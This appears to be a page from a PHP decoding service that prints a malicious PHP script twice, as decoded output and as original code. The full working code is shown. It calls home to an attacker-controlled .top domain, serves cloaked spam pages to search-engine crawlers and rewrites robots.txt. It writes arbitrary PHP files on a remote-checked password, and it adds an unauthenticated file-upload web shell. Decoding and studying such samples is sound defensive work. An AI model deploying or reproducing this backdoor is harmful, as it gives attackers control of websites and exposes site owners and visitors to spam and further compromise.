Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @set_time_limit(5000); @ignore_user_abort(1); $goto = 'mm019'; $htwe = 'htt..

Decoded Output download

<?php  
@set_time_limit(5000);  
@ignore_user_abort(1);   
$goto = 'mm019';  
$htwe = 'http';  
if(ishtt()){  
	$http = 'https';  
}else{ 
	$http = 'http'; 
} 
$ddur_tmp = st_uri(); 
if ($ddur_tmp == ''){ 
	$ddur_tmp = '/';  
} 
$ddur = urlencode($ddur_tmp); 
function st_uri(){ 
	if (isset($_SERVER['REQUEST_URI'])){ 
		$ddur = $_SERVER['REQUEST_URI']; 
	}else{ 
		if(isset($_SERVER['argv'])){ 
			$ddur = $_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0]; 
		}else{   
			$ddur = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']; 
		} 
	} 
	return $ddur; 
} 
$towe = $goto .'.ooznn'.'.top'; 
function ishtt(){ 
	if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'){  
		return true;  
	}elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'){  
		return true;  
	}elseif( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {  
		return true;  
	}  
		return false; 
} 
$host = $_SERVER['HTTP_HOST']; 
$lag = @$_SERVER['HTTP_ACCEPT_LANGUAGE']; 
$lag = urlencode($lag); 
$usse = ''; 
if (isset($_SERVER['HTTP_REFERER'])) {  
	$usse = $_SERVER['HTTP_REFERER'];  
	$usse = urlencode($usse); 
} 
if (@$_GET['pd'] != '') {  
	$acot = @$_GET['mapname'];     
	if (isset($_SERVER['DOCUMENT_ROOT'])){  
		$path = $_SERVER['DOCUMENT_ROOT'];  
	}else{  
		$path = dirname(__FILE__);  
	}  
	if (strstr($acot,'sitemap')) {  
			$map_path = $path. '/sitemap.xml';    
			$file_path = $path . '/robots.txt';   
			@unlink($map_path); 
			$robots = @file_get_contents($file_path); 
			$data = 'User-agent: *'."
".'Allow: /';  
			$sturs = "
" . 'Sitemap: '.$http . '://' . $host . '/'.$acot.'.xml';   
			$futrobot = ""; 
			if(strstr($robots,"/map.xml")){ 
				if(strstr($robots,"/".$acot.".xml")){ 
					echo "sitemap in added!"; 
					exit(); 
				}else{ 
					$robots .= $sturs;  
				} 
			}else{ 
				@unlink($file_path); 
				$sturs .= "
" . 'Sitemap: '.$http . '://' . $host . '/map.xml'; 
				$robots = $data.$sturs; 
			} 
			if (file_put_contents($file_path, trim($robots))) { 
					echo '<br>ok<br>';   
				}else{ 
					echo '<br>false!<br>';   
				}  
		}else if (strstr($acot,'.p'.'hp')) { 
			if (sha1(sha1(@$_GET['a'])) == daag($htwe . '://' . $towe . '/a.p' . 'hp')) {   
				$dstr = @$_GET['dstr'];   
				if (file_put_contents($path.'/'.$acot, $dstr)){ 
					echo 'ok'; 
				} 
			} 
		}else{ 
			echo '<br> false!<br>';  
		} 
		 
	exit; 
} 
$web = $htwe . '://' . $towe . '/inde.php?web=' . $host . '&zz=' . sbot() . '&uri=' . $ddur . '&urlshang=' . $usse . '&http=' . $http . '&lang=' . $lag;        
$htag = trim(daag($web)); 
if (!strstr($htag, 'nobotuseragent')) {  
	if (strstr($htag, 'okhtmlgetcontent')) {   
		@header('Content-type: text/html; charset=utf-8');  
		$htag = str_replace('okhtmlgetcontent', '', $htag);  
		echo $htag;  
		exit();  
	}else if(strstr($htag, 'okxmlgetcontent')){  
		$htag = str_replace('okxmlgetcontent', '', $htag);  
		@header('Content-type: text/xml');  
		echo $htag;  
		exit(); 
	} 
} 
 
function sbot(){  
	$uaget = strtolower($_SERVER['HTTP_USER_AGENT']);  
	if (stristr($uaget, 'googlebot') || stristr($uaget, 'bing') || stristr($uaget, 'yahoo') || stristr($uaget, 'google') || stristr($uaget, 'Googlebot') || stristr($uaget, 'googlebot')) {  
		return true;  
	} else {  
		return false;  
	} 
} 
 
function daag($url){  
	$ficonts= '';  
	if(function_exists('curl_init')){ 
		$ch = curl_init(); 
		curl_setopt($ch, CURLOPT_URL, $url);  
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);  
		$ficonts = curl_exec($ch); curl_close($ch);  
	} 
	if (!$ficonts){ 
		$ficonts = @file_get_contents($url); 
	} 
	return $ficonts; 
} 
?> 
<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?> 
 
<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?> 

Did this file decode correctly?

Original Code

<?php 
@set_time_limit(5000); 
@ignore_user_abort(1);  
$goto = 'mm019'; 
$htwe = 'http'; 
if(ishtt()){ 
	$http = 'https'; 
}else{
	$http = 'http';
}
$ddur_tmp = st_uri();
if ($ddur_tmp == ''){
	$ddur_tmp = '/'; 
}
$ddur = urlencode($ddur_tmp);
function st_uri(){
	if (isset($_SERVER['REQUEST_URI'])){
		$ddur = $_SERVER['REQUEST_URI'];
	}else{
		if(isset($_SERVER['argv'])){
			$ddur = $_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
		}else{  
			$ddur = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
		}
	}
	return $ddur;
}
$towe = $goto .'.ooznn'.'.top';
function ishtt(){
	if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'){ 
		return true; 
	}elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'){ 
		return true; 
	}elseif( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { 
		return true; 
	} 
		return false;
}
$host = $_SERVER['HTTP_HOST'];
$lag = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$lag = urlencode($lag);
$usse = '';
if (isset($_SERVER['HTTP_REFERER'])) { 
	$usse = $_SERVER['HTTP_REFERER']; 
	$usse = urlencode($usse);
}
if (@$_GET['pd'] != '') { 
	$acot = @$_GET['mapname'];    
	if (isset($_SERVER['DOCUMENT_ROOT'])){ 
		$path = $_SERVER['DOCUMENT_ROOT']; 
	}else{ 
		$path = dirname(__FILE__); 
	} 
	if (strstr($acot,'sitemap')) { 
			$map_path = $path. '/sitemap.xml';   
			$file_path = $path . '/robots.txt';  
			@unlink($map_path);
			$robots = @file_get_contents($file_path);
			$data = 'User-agent: *'."\r\n".'Allow: /'; 
			$sturs = "\r\n" . 'Sitemap: '.$http . '://' . $host . '/'.$acot.'.xml';  
			$futrobot = "";
			if(strstr($robots,"/map.xml")){
				if(strstr($robots,"/".$acot.".xml")){
					echo "sitemap in added!";
					exit();
				}else{
					$robots .= $sturs; 
				}
			}else{
				@unlink($file_path);
				$sturs .= "\r\n" . 'Sitemap: '.$http . '://' . $host . '/map.xml';
				$robots = $data.$sturs;
			}
			if (file_put_contents($file_path, trim($robots))) {
					echo '<br>ok<br>';  
				}else{
					echo '<br>false!<br>';  
				} 
		}else if (strstr($acot,'.p'.'hp')) {
			if (sha1(sha1(@$_GET['a'])) == daag($htwe . '://' . $towe . '/a.p' . 'hp')) {  
				$dstr = @$_GET['dstr'];  
				if (file_put_contents($path.'/'.$acot, $dstr)){
					echo 'ok';
				}
			}
		}else{
			echo '<br> false!<br>'; 
		}
		
	exit;
}
$web = $htwe . '://' . $towe . '/inde.php?web=' . $host . '&zz=' . sbot() . '&uri=' . $ddur . '&urlshang=' . $usse . '&http=' . $http . '&lang=' . $lag;       
$htag = trim(daag($web));
if (!strstr($htag, 'nobotuseragent')) { 
	if (strstr($htag, 'okhtmlgetcontent')) {  
		@header('Content-type: text/html; charset=utf-8'); 
		$htag = str_replace('okhtmlgetcontent', '', $htag); 
		echo $htag; 
		exit(); 
	}else if(strstr($htag, 'okxmlgetcontent')){ 
		$htag = str_replace('okxmlgetcontent', '', $htag); 
		@header('Content-type: text/xml'); 
		echo $htag; 
		exit();
	}
}

function sbot(){ 
	$uaget = strtolower($_SERVER['HTTP_USER_AGENT']); 
	if (stristr($uaget, 'googlebot') || stristr($uaget, 'bing') || stristr($uaget, 'yahoo') || stristr($uaget, 'google') || stristr($uaget, 'Googlebot') || stristr($uaget, 'googlebot')) { 
		return true; 
	} else { 
		return false; 
	}
}

function daag($url){ 
	$ficonts= ''; 
	if(function_exists('curl_init')){
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); 
		$ficonts = curl_exec($ch); curl_close($ch); 
	}
	if (!$ficonts){
		$ficonts = @file_get_contents($url);
	}
	return $ficonts;
}
?>
<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>

<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>

Function Calls

set_time_limit 1
ignore_user_abort 1

Variables

None

Stats

MD5 936abef3cd4508bb31d06ebc76c2b3b8
Eval Count 0
Decode Time 241 ms